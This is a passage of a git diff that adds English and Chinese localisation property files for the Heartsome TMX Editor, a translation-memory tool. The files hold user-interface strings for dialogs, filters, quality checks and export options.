\u6743\u9650\u4e0d\u8db3\uff1a\u5c06\u4ee5\u53ea\u8bfb\u6a21\u5f0f\u6253\u5f00\u8be5\u8bb0\u5fc6\u5e93\u3002\n\u82e5\u8981\u7f16\u8f91\u8be5\u8bb0\u5fc6\u5e93\u7684\u5185\u5bb9\uff0c\u8bf7\u4f7f\u7528\u5177\u6709 INSERT \u548c UPDATE \u6743\u9650\u7684\u6570\u636e\u5e93\u7528\u6237\u91cd\u65b0\u6253\u5f00\u3002 +tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg = \u6743\u9650\u4e0d\u8db3\uff1a\u5c06\u4ee5\u53ea\u8bfb\u6a21\u5f0f\u6253\u5f00\u8be5\u6587\u4ef6\u3002\n\u82e5\u8981\u7f16\u8f91\u8be5\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u8bf7\u7ed9\u8be5\u6587\u4ef6\u8d4b\u4e88\u5199\u5165\u6743\u9650\uff0c\u7136\u540e\u518d\u91cd\u65b0\u6253\u5f00\u3002 +tmxeditor.tmxEditorViewer.saveAsMsg1 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +tmxeditor.tmxEditorViewer.emptyDbMsg = \u65e0\u6cd5\u6253\u5f00\uff1a\u8be5\u8bb0\u5fc6\u5e93\u4e3a\u7a7a\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684\u8bb0\u5fc6\u5e93\u3002 + +view.QAResultViewer.columnNameLine = \u884c\u53f7 +view.QAResultViewer.columnNameType = \u7c7b\u578b +view.QAResultViewer.columnNameSrcText = \u6e90\u6587 +view.QAResultViewer.columnNameTgtText = \u8bd1\u6587 +view.QAResultViewer.columnNameQATip = \u95ee\u9898 +view.QAResultViewer.LOGG.dataInpuError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u586b\u5145\u5f02\u5e38\u3002 + +tmxeditor.QA.itemGroupTitle=\u68c0\u67e5\u9879 +tmxeditor.QA.operateGroupTitle=\u9009\u9879 +tmxeditor.QA.igoureCaceBtnTitle=\u5ffd\u7565\u5927\u5c0f\u5199 +tmxeditor.QA.ignoreTagBtnTitle=\u5ffd\u7565\u6807\u8bb0 +tmxeditor.QA.ignoreTagBtnToolTip=\u4e0d\u9002\u7528\u4e8e\u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 +tmxeditor.QA.qaExcuteBtnTitle=\u6267\u884c(&D) + +Dialog.ExportDialog.allFilterRadioBtn=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +Dialog.ExportDialog.allTmxDbRadioBtn=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +Dialog.ExportDialog.appendTmxLabel=\u8ffd\u52a0\u5230\u5df2\u6709\u7684 TMX \u6587\u4ef6\uff1a +Dialog.ExportDialog.appendTmxMsg=\u8bf7\u6307\u5b9a\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u8def\u5f84\u3002 +Dialog.ExportDialog.appendTmxNotExistMsg=\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +Dialog.ExportDialog.browserLabel=\u6d4f\u89c8(&R) +Dialog.ExportDialog.dialogTitle=\u5bfc\u51fa +Dialog.ExportDialog.exportGroupTitle=\u5bfc\u51fa\u8303\u56f4 +Dialog.ExportDialog.newTmxLabel=\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\uff1a +Dialog.ExportDialog.saveTytpeGroupTitle=\u4fdd\u5b58\u65b9\u5f0f +Dialog.ExportDialog.selecteRowRadioBtn=\u9009\u4e2d\u884c +Dialog.ExportDialog.selectTmxMsg=\u8bf7\u6307\u5b9a\u65b0 TMX \u6587\u4ef6\u7684\u8def\u5f84\u3002 diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_en.properties b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_en.properties new file mode 100644 index 0000000..293f775 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_en.properties @@ -0,0 +1,205 @@ +tmxeditor.all.dialog.info = Message +tmxeditor.all.dialog.warning = Warning +tmxeditor.all.dialog.error = Error +tmxeditor.all.dialog.confirm = Confirm +tmxeditor.all.dialog.cancel = Cancel +tmxeditor.all.dialog.okBtn = OK +tmxeditor.all.dialog.cancelBtn = Cancel + +tmxeditor.view.PropertiesView.fixedProp = System Attributes +tmxeditor.view.PropertiesView.customProp = Custom Attributes +tmxeditor.view.PropertiesView.tuvProp = Language-specific Attributes +tmxeditor.view.PropertiesView.noteProp = Comments +tmxeditor.view.PropertiesView.errormsg0 = No language is selected, please select a language before you do this. +tmxeditor.view.PropertiesView.errormsg1 = Contents of current language column is empty. You cannot edit its properties. +tmxeditor.view.AddPropertyDialog.lblCategory = Type +tmxeditor.view.AddPropertyDialog.lblKey = Attribute +tmxeditor.view.AddPropertyDialog.lblValue = Value + +dialog.FindReplaceDialog.Title = Find and Replace +dialog.FindReplaceDialog.findButton = &Find Next +dialog.FindReplaceDialog.findNextButton = Replace && Fi&nd +dialog.FindReplaceDialog.replaceButton = &Replace +dialog.FindReplaceDialog.replaceAllButton = Replace &All +dialog.FindReplaceDialog.findLabel = Find: +dialog.FindReplaceDialog.replaceWithLabel = Replace with: +dialog.FindReplaceDialog.directionGroup = Direction +dialog.FindReplaceDialog.forwardButton = &Down +dialog.FindReplaceDialog.backwardButton = &Up +dialog.FindReplaceDialog.rangeGroup = Range +dialog.FindReplaceDialog.sourceButton = &Source +dialog.FindReplaceDialog.targetButton = &Target +dialog.FindReplaceDialog.optionsGroup = Options +dialog.FindReplaceDialog.caseSensitiveButton = Cas&e-sensitive +dialog.FindReplaceDialog.wholeWordButton = &Whole-word match +dialog.FindReplaceDialog.regExButton = Regular e&xpressions +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = Could not find the specified text. +dialog.FindReplaceDialog.status2 = Can not edit locked segment. +dialog.FindReplaceDialog.status3 = Replaced {0} matched items. + +tmxeditor.all.dialog.info = Message +tmxeditor.all.dialog.warning = Warning +tmxeditor.all.dialog.error = Error +tmxeditor.all.dialog.confirm = Confirm +tmxeditor.all.dialog.cancel = Cancel + +tmxeditor.OpenTmxFileHandler.openFileErrorMsg = Failed to open the file. + +tmxeditor.filterdialog.title=Customize Filters +tmxeditor.filterdialog.custom.title=Customize Filters +tmxeditor.filterdialog.custom.display.itmes=\ +tmxeditor.filterdialog.colum.name.disc=Name +tmxeditor.filterdialog.colum.name.use=Enable +tmxeditor.filterdialog.newFilter=&New... +tmxeditor.filterdialog.editFilter=&Edit... +tmxeditor.filterdialog.deleteFilter=&Delete +tmxeditor.filterdialog.config.delete.msg=Are you sure you want to delete the selected filter? +tmxeditor.filterdialog.warn.delete=Please select the filter you want to delete. + +tmxeditor.filterRegularDialog.source=Source +tmxeditor.filterRegularDialog.target=Target +tmxeditor.filterRegularDialog.note=Comments +tmxeditor.filterRegularDialog.fixAttribute=System Attributes +tmxeditor.filterRegularDialog.customAttribute=Custom Attributes +tmxeditor.filterRegularDialog.contains=Contains +tmxeditor.filterRegularDialog.notcontains=Excludes +tmxeditor.filterRegularDialog.equal=Equal +tmxeditor.filterRegularDialog.notequal=Not Equal To +tmxeditor.filterRegularDialog.add_filter_rules=Add Filter Rule +tmxeditor.filterRegularDialog.edit_filer_rules=Edit Filter Rule +tmxeditor.filterRegularDialog.filterName=Filter &Name +tmxeditor.filterRegularDialog.fullFillAllCondition=Meet &all of the following conditions +tmxeditor.filterRegularDialog.fullfillOneCondition=Meet &one of the following conditions +tmxeditor.filterRegularDialog.warn.msg1=Please enter a name for the filter. +tmxeditor.filterRegularDialog.okpress.contentNull = Please set filter. + +tmxeditor.filter.targetSearchText.label = Enter translation for search +tmxeditor.filter.sourceSearchText.label = Enter source for search +tmxeditor.filter.srcLang=Source: +tmxeditor.filter.tgtLang=Target: +tmxeditor.fitler.searchGroup = Search +tmxeditor.filter.fitlerGroup=Filter +tmxeditor.filter.ignoreCase=Ignore case +tmxeditor.filter.ignoreTag=Ignore tags +tmxeditor.filter.searchBtn=Search +tmxeditor.filter.customFilterBtbLable=Customize Filters +tmxeditor.filter.editor=Edit +tmxeditor.filter.qa=QA + +tmxeditor.tmxeditor.deleteIngerTag.taskName=Starting tag removal... +tmxeditor.tmxeditor.warn.msg1=The source and target language should be different. Please reselect. +tmxeditor.tmxeditor.savefailmsg = Failed to save: {0} \n Are you sure to continue closing the file and discard all changes? +tmxeditor.tmxeditor.savechangs = The TMX file has been changed. Are you sure to save the changes? +tmxeditor.tmxeditor.qaItemNull = Please select the QA items for check. +tmxeditor.tmxEditorFilter.allFilter.name=All Segments +tmxeditor.tmxEditorFilter.srcTgtSame.name=Target same as source +tmxeditor.tmxEditorFilter.hasNote.name=Segments with comments +tmxeditor.tmxEditorFilter.hasGarbled.name=Segments contain invalid characters +tmxeditor.tmxEditorFilter.srcSameDiffTgt=Inconsistency in target +tmxeditor.tmxEditorFilter.tgtSameDiffsrc=Inconsistency in source +tmxeditor.tmxEditorFilter.tgtNullSeg=Untranslated segments +tmxeditor.tmxEditorFilter.duplicateSeg = Repetitions + +tmxeditor.deleteTuHandler.warn.msg=Warning +tmxeditor.deleteTuHandler.warn.desc=The selected segments cannot be restored once removed. Are you sure you want to delete them? +tmxeditor.deleteTuHandler.noSelectedMsg = Please select the rows you want to delete. + +tmxeditor.addElementAttrDialog.title=Add System Attribute +tmxeditor.addElementAttrDialog.addFixAttr.title=Add Language-specific Attribute +tmxeditor.addElementAttrDialog.apply=Apply to +tmxeditor.addElementAttrDialog.current.line=Selected Segments +tmxeditor.addElementAttrDialog.allFilterResults=All filtered results +tmxeditor.addElementAttrDialog.attrName=Attribute Name: +tmxeditor.addElementAttrDialog.attrValue=Attribute Value: +tmxeditor.addElementAttrDialog.allFileDataabase=Whole file/TM +tmxeditor.addElementAttrDialog.addWarn.msg1=The attribute named {0} already exists, please re-enter. + +tmxeditor.addElementDialog.title=Add Comment +tmxeditor.addElementDialog.addFixAttr.title=Add Custom Attribute +tmxeditor.addElementDialog.pasteprop.title=Paste Custom Attribute +tmxeditor.addElementDialog.overwrite=Overwrite existing attributes +tmxeditor.addElementDialog.apply=Apply to +tmxeditor.addElementDialog.allFilterResults=All filtered results +tmxeditor.addElementDialog.allFileDataabase=Whole file/TM +tmxeditor.addElementDialog.noteContent=Comment: +tmxeditor.addElementDialog.customAttrContent=Attribute Value: +tmxeditor.addElementDialog.attrNameLbl = Attribute Name: + +tmxeditor.deleteConfigDialog.apply=Apply to +tmxeditor.deleteConfigDialog.current.line=Selected Segments +tmxeditor.deleteConfigDialog.allFilterResults=All filtered results +tmxeditor.deleteConfigDialog.allFileDataabase=Whole file/TM +tmxeditor.deleteConfigDialog.title.tu=Delete Language-specific Attribute +tmxeditor.deleteConfigDialog.title.prop=Delete System Attribute +tmxeditor.deleteConfigDialog.title.tuv=Delete Custom Attribute +tmxeditor.deleteConfigDialog.title.note=Delete Comment + +tmxeditor.editElementAttrDialog.title=Edit System Attribute +tmxeditor.editElementAttrDialog.addFixAttr.title=Edit Language-specific Attribute +tmxeditor.editElementAttrDialog.apply=Apply to +tmxeditor.editElementAttrDialog.current.line=Current segment +tmxeditor.editElementAttrDialog.allFilterResults=All filtered results +tmxeditor.editElementAttrDialog.customAttrName=Attribute Name: +tmxeditor.editElementAttrDialog.customAttrValue=Attribute Value: +tmxeditor.editElementAttrDialog.allFileDatabase=Whole file/TM + +tmxeditor.editElementDialog.title=Edit Comment +tmxeditor.editElementDialog.addFixAttr.title=Edit Custom Attribute +tmxeditor.editElementDialog.apply=Apply to +tmxeditor.editElementDialog.current.line=Current segment +tmxeditor.editElementDialog.allFilterResults=All filtered results +tmxeditor.editElementDialog.allFileDatabase=Whole file/TM +tmxeditor.editElementDialog.noteContent=Comment: +tmxeditor.editElementDialog.customAttrType=Attribute Name: +tmxeditor.editElementDialog.customAttrContent=Attribute Value: +tmxeditor.editElementDialog.prop.nameOnly=Update attribute names only + +tmxeditor.propertiesView.add=Add +tmxeditor.propertiesView.add.toolTip=Add +tmxeditor.propertiesView.eidt=Edit +tmxeditor.propertiesView.edit.toolTip=Edit +tmxeditor.propertiesView.delete=Delete +tmxeditor.propertiesView.delet.toolTip=Delete + +tmxeditor.tmxeditorimpwithNattable.headerLable1=System Attributes + +tmxeditor.tmxeditorView.openFileTaskName=Opening file... +tmxeditor.tmxeditorView.openTMDBTaskName=Opening TM... +tmxeditor.tmxeditorView.readOnly = \ (Read Only) +tmxeditor.tmxeditorView.outofmemory = No enough memory is available to complete this operation. \n\n Please follow the steps below to increase the RAM for the software. \n 1. For Windows/Linux users, please open the "Heartsome TMX Editor.ini" file in the installation directory of the software. \n 2. For Mac OS X users, please open the installation directory of the software, right click "Heartsome TMX Editor.app" file, select "Show Package Contents", and then open the "Contents/MacOS/Heartsome TMX Editor.ini" file. \n 3. Edit the value "-Xmx512m" in the above .ini file. For example, change to "-Xmx1024m" or "-Xmx1536m" (please note that the new value cannot be greater than your physical RAM size). \n 4. Restart the software. +tmxedtior.bodyMenuConfiguration.cut = Cut +tmxedtior.bodyMenuConfiguration.copy = Copy +tmxedtior.bodyMenuConfiguration.paste = Paste +tmxeditor.tmxEditorViewer.savelabel = Saving... +tmxeditor.tmxEditorViewer.DBReadOnlyOpenMsg = Insufficient permissions: the TM will be opened in read-only mode. \n To edit the TM, please reopen it with another database user with INSERT and UPDATE permissions. +tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg = Insufficient permissions: the file will be opened in read-only mode. \n To edit the file, please grant "Write" permission to it, and then reopen. +tmxeditor.tmxEditorViewer.saveAsMsg1 = The file {0} already exists. Are sure you want to overwrite it? +tmxeditor.tmxEditorViewer.emptyDbMsg = The TM is empty. \n Please select another TM with contents. + +view.QAResultViewer.columnNameLine = No. +view.QAResultViewer.columnNameType = Type +view.QAResultViewer.columnNameSrcText = Source +view.QAResultViewer.columnNameTgtText = Target +view.QAResultViewer.columnNameQATip = Problem +view.QAResultViewer.LOGG.dataInpuError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u586b\u5145\u5f02\u5e38\u3002 + +tmxeditor.QA.itemGroupTitle=QA Items +tmxeditor.QA.operateGroupTitle=Options +tmxeditor.QA.igoureCaceBtnTitle=Ignore case +tmxeditor.QA.ignoreTagBtnTitle=Ignore tags +tmxeditor.QA.ignoreTagBtnToolTip=Not applicable for tag consistency check +tmxeditor.QA.qaExcuteBtnTitle=Perform + +Dialog.ExportDialog.allFilterRadioBtn=All filtered results +Dialog.ExportDialog.allTmxDbRadioBtn=Whole file/TM +Dialog.ExportDialog.appendTmxLabel=Append to a TMX: +Dialog.ExportDialog.appendTmxMsg=Please specify the path of the TMX file to be appended. +Dialog.ExportDialog.appendTmxNotExistMsg=The TMX file to be appended does not exist. Please specify another TMX file. +Dialog.ExportDialog.browserLabel=B&rowse +Dialog.ExportDialog.dialogTitle=Export +Dialog.ExportDialog.exportGroupTitle=Export scope +Dialog.ExportDialog.newTmxLabel=New TMX file: +Dialog.ExportDialog.saveTytpeGroupTitle=Export to +Dialog.ExportDialog.selecteRowRadioBtn=Selected segments +Dialog.ExportDialog.selectTmxMsg=Please specify the path of the new TMX file. diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_zh.properties b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_zh.properties new file mode 100644 index 0000000..d5668b0 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/message_zh.properties @@ -0,0 +1,208 @@ +tmxeditor.all.dialog.info = \u63d0\u793a +tmxeditor.all.dialog.warning = \u8b66\u544a +tmxeditor.all.dialog.error = \u9519\u8bef +tmxeditor.all.dialog.confirm = \u786e\u8ba4 +tmxeditor.all.dialog.cancel = \u53d6\u6d88 +tmxeditor.all.dialog.okBtn = \u786e\u5b9a +tmxeditor.all.dialog.cancelBtn = \u53d6\u6d88 + +tmxeditor.view.PropertiesView.fixedProp = \u7cfb\u7edf\u5c5e\u6027 +tmxeditor.view.PropertiesView.customProp = \u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.view.PropertiesView.tuvProp = \u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.view.PropertiesView.noteProp = \u6279\u6ce8 +tmxeditor.view.PropertiesView.errormsg0 = \u672a\u9009\u4e2d\u4efb\u4f55\u8bed\u8a00\uff0c\u8bf7\u5148\u9009\u62e9\u8bed\u8a00\u540e\u518d\u8fdb\u884c\u6b64\u64cd\u4f5c\u3002 +tmxeditor.view.PropertiesView.errormsg1 = \u5f53\u524d\u8bed\u8a00\u5217\u7684\u5185\u5bb9\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u7f16\u8f91\u5176\u5c5e\u6027\u3002 +tmxeditor.view.AddPropertyDialog.lblCategory = \u7c7b\u522b +tmxeditor.view.AddPropertyDialog.lblKey = \u5c5e\u6027 +tmxeditor.view.AddPropertyDialog.lblValue = \u503c + +dialog.FindReplaceDialog.Title = \u67e5\u627e\u548c\u66ff\u6362 +dialog.FindReplaceDialog.findButton = \u67e5\u627e\u4e0b\u4e00\u4e2a(&F) +dialog.FindReplaceDialog.findNextButton = \u66ff\u6362\u5e76\u67e5\u627e(&N) +dialog.FindReplaceDialog.replaceButton = \u66ff\u6362(&R) +dialog.FindReplaceDialog.replaceAllButton = \u66ff\u6362\u6240\u6709(&A) +dialog.FindReplaceDialog.findLabel = \u67e5\u627e\uff1a +dialog.FindReplaceDialog.replaceWithLabel = \u66ff\u6362\u4e3a\uff1a +dialog.FindReplaceDialog.directionGroup = \u65b9\u5411 +dialog.FindReplaceDialog.forwardButton = \u5411\u4e0b(&D) +dialog.FindReplaceDialog.backwardButton = \u5411\u4e0a(&U) +dialog.FindReplaceDialog.rangeGroup = \u8303\u56f4 +dialog.FindReplaceDialog.sourceButton = \u6e90\u6587(&S) +dialog.FindReplaceDialog.targetButton = \u8bd1\u6587(&T) +dialog.FindReplaceDialog.optionsGroup = \u9009\u9879 +dialog.FindReplaceDialog.caseSensitiveButton = \u533a\u5206\u5927\u5c0f\u5199(&E) +dialog.FindReplaceDialog.wholeWordButton = \u6574\u8bcd\u5339\u914d(&W) +dialog.FindReplaceDialog.regExButton = \u6b63\u5219\u8868\u8fbe\u5f0f(&X) +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = \u672a\u627e\u5230\u6307\u5b9a\u5185\u5bb9\u3002 +dialog.FindReplaceDialog.status2 = \u4e0d\u80fd\u7f16\u8f91\u9501\u5b9a\u6587\u672c\u6bb5\u3002 +dialog.FindReplaceDialog.status3 = \u5df2\u66ff\u6362 {0} \u4e2a\u5339\u914d\u9879\u3002 + +tmxeditor.all.dialog.info = \u63d0\u793a +tmxeditor.all.dialog.warning = \u8b66\u544a +tmxeditor.all.dialog.error = \u9519\u8bef +tmxeditor.all.dialog.confirm = \u786e\u8ba4 +tmxeditor.all.dialog.cancel = \u53d6\u6d88 + +tmxeditor.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 + +tmxeditor.filterdialog.title=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filterdialog.custom.title=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filterdialog.custom.display.itmes=\ +tmxeditor.filterdialog.colum.name.disc=\u540d\u79f0 +tmxeditor.filterdialog.colum.name.use=\u542f\u7528 +tmxeditor.filterdialog.newFilter=\u65b0\u5efa(&N)... +tmxeditor.filterdialog.editFilter=\u7f16\u8f91(&E)... +tmxeditor.filterdialog.deleteFilter=\u5220\u9664(&D) +tmxeditor.filterdialog.config.delete.msg=\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u5668\u5417\uff1f +tmxeditor.filterdialog.warn.delete=\u8bf7\u5148\u9009\u62e9\u8981\u5220\u9664\u7684\u8fc7\u6ee4\u5668\u3002 + +tmxeditor.filterRegularDialog.source=\u6e90\u6587 +tmxeditor.filterRegularDialog.target=\u8bd1\u6587 +tmxeditor.filterRegularDialog.note=\u6279\u6ce8 +tmxeditor.filterRegularDialog.fixAttribute=\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.filterRegularDialog.customAttribute=\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.filterRegularDialog.contains=\u5305\u542b +tmxeditor.filterRegularDialog.notcontains=\u4e0d\u5305\u542b +tmxeditor.filterRegularDialog.equal=\u7b49\u4e8e +tmxeditor.filterRegularDialog.notequal=\u4e0d\u7b49\u4e8e +tmxeditor.filterRegularDialog.add_filter_rules=\u6dfb\u52a0\u8fc7\u6ee4\u5668\u89c4\u5219 +tmxeditor.filterRegularDialog.edit_filer_rules=\u7f16\u8f91\u8fc7\u6ee4\u5668\u89c4\u5219 +tmxeditor.filterRegularDialog.filterName=\u8fc7\u6ee4\u5668\u540d\u79f0(&N) +tmxeditor.filterRegularDialog.fullFillAllCondition=\u6ee1\u8db3\u6240\u6709\u4ee5\u4e0b\u6761\u4ef6(&A) +tmxeditor.filterRegularDialog.fullfillOneCondition=\u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6(&Y) +tmxeditor.filterRegularDialog.warn.msg1=\u8bf7\u8f93\u5165\u8fc7\u6ee4\u5668\u540d\u79f0\u3002 +tmxeditor.filterRegularDialog.okpress.contentNull = \u8bf7\u8bbe\u7f6e\u8fc7\u6ee4\u6761\u4ef6\u3002 + +tmxeditor.filter.targetSearchText.label = \u641c\u7d22\u8bd1\u6587 +tmxeditor.filter.sourceSearchText.label = \u641c\u7d22\u6e90\u6587 +tmxeditor.filter.srcLang=\u6e90\u6587\uff1a +tmxeditor.filter.tgtLang=\u8bd1\u6587\uff1a +tmxeditor.fitler.searchGroup = \u641c\u7d22 +tmxeditor.filter.fitlerGroup=\u8fc7\u6ee4\u5668 +tmxeditor.filter.ignoreCase=\u5ffd\u7565\u5927\u5c0f\u5199 +tmxeditor.filter.ignoreTag=\u5ffd\u7565\u6807\u8bb0 +tmxeditor.filter.searchBtn=\u641c\u7d22 +tmxeditor.filter.customFilterBtbLable=\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +tmxeditor.filter.editor=\u7f16\u8f91 +tmxeditor.filter.qa=QA + +tmxeditor.tmxeditor.deleteIngerTag.taskName=\u5f00\u59cb\u6e05\u9664\u6807\u8bb0... +tmxeditor.tmxeditor.warn.msg1=\u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +tmxeditor.tmxeditor.savefailmsg = \u65e0\u6cd5\u4fdd\u5b58\uff1a{0}\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5173\u95ed\u6587\u4ef6\u3001\u5e76\u653e\u5f03\u4fee\u6539\u5417\uff1f +tmxeditor.tmxeditor.savechangs = TMX \u6587\u4ef6\u7684\u5185\u5bb9\u5df2\u7ecf\u53d1\u751f\u6539\u53d8\u3002\u786e\u5b9a\u8981\u4fdd\u5b58\u5f53\u524d\u4fee\u6539\u5417\uff1f +tmxeditor.tmxeditor.qaItemNull = \u8bf7\u9009\u62e9\u8981\u68c0\u67e5\u7684 QA \u9879\u3002 +tmxeditor.tmxEditorFilter.allFilter.name=\u6240\u6709\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.srcTgtSame.name=\u6e90\u6587\u548c\u8bd1\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.hasNote.name=\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.hasGarbled.name=\u5b58\u5728\u4e71\u7801\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.srcSameDiffTgt=\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.tgtSameDiffsrc=\u8bd1\u6587\u76f8\u540c\u3001\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.tgtNullSeg=\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5 +tmxeditor.tmxEditorFilter.duplicateSeg = \u91cd\u590d\u6587\u672c\u6bb5 + +tmxeditor.deleteTuHandler.warn.msg=\u8b66\u544a +tmxeditor.deleteTuHandler.warn.desc=\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u884c\u5417\uff1f +tmxeditor.deleteTuHandler.noSelectedMsg = \u8bf7\u5148\u9009\u62e9\u8981\u5220\u9664\u7684\u884c\u3002 + +tmxeditor.addElementAttrDialog.title=\u6dfb\u52a0\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.addElementAttrDialog.addFixAttr.title=\u6dfb\u52a0\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.addElementAttrDialog.apply=\u5e94\u7528\u5230 +tmxeditor.addElementAttrDialog.current.line=\u9009\u4e2d\u884c +tmxeditor.addElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.addElementAttrDialog.attrName=\u5c5e\u6027\u540d\uff1a +tmxeditor.addElementAttrDialog.attrValue=\u5c5e\u6027\u503c\uff1a +tmxeditor.addElementAttrDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.addElementAttrDialog.addWarn.msg1=\u5df2\u7ecf\u5b58\u5728\u540d\u4e3a {0} \u7684\u5c5e\u6027\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +tmxeditor.addElementDialog.title=\u6dfb\u52a0\u6279\u6ce8 +tmxeditor.addElementDialog.addFixAttr.title=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.addElementDialog.pasteprop.title=\u7c98\u8d34\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.addElementDialog.overwrite=\u8986\u76d6\u5df2\u6709\u5c5e\u6027 +tmxeditor.addElementDialog.apply=\u5e94\u7528\u5230 +tmxeditor.addElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.addElementDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.addElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a +tmxeditor.addElementDialog.customAttrContent=\u5c5e\u6027\u503c\uff1a +tmxeditor.addElementDialog.attrNameLbl = \u5c5e\u6027\u540d\uff1a + +tmxeditor.deleteConfigDialog.apply=\u5e94\u7528\u5230 +tmxeditor.deleteConfigDialog.current.line=\u9009\u4e2d\u884c +tmxeditor.deleteConfigDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.deleteConfigDialog.allFileDataabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.deleteConfigDialog.title.tu=\u5220\u9664\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.prop=\u5220\u9664\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.tuv=\u5220\u9664\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.deleteConfigDialog.title.note=\u5220\u9664\u6279\u6ce8 + +tmxeditor.editElementAttrDialog.title=\u7f16\u8f91\u7cfb\u7edf\u5c5e\u6027 +tmxeditor.editElementAttrDialog.addFixAttr.title=\u7f16\u8f91\u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 +tmxeditor.editElementAttrDialog.apply=\u5e94\u7528\u5230 +tmxeditor.editElementAttrDialog.current.line=\u5f53\u524d\u6587\u672c\u6bb5 +tmxeditor.editElementAttrDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +tmxeditor.editElementAttrDialog.customAttrName=\u5c5e\u6027\u540d\uff1a +tmxeditor.editElementAttrDialog.customAttrValue=\u5c5e\u6027\u503c\uff1a +tmxeditor.editElementAttrDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 + + + +tmxeditor.editElementDialog.title=\u7f16\u8f91\u6279\u6ce8 +tmxeditor.editElementDialog.addFixAttr.title=\u7f16\u8f91\u81ea\u5b9a\u4e49\u5c5e\u6027 +tmxeditor.editElementDialog.apply=\u5e94\u7528\u5230 +tmxeditor.editElementDialog.current.line=\u5f53\u524d\u6587\u672c\u6bb5 +tmxeditor.editElementDialog.allFilterResults=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c 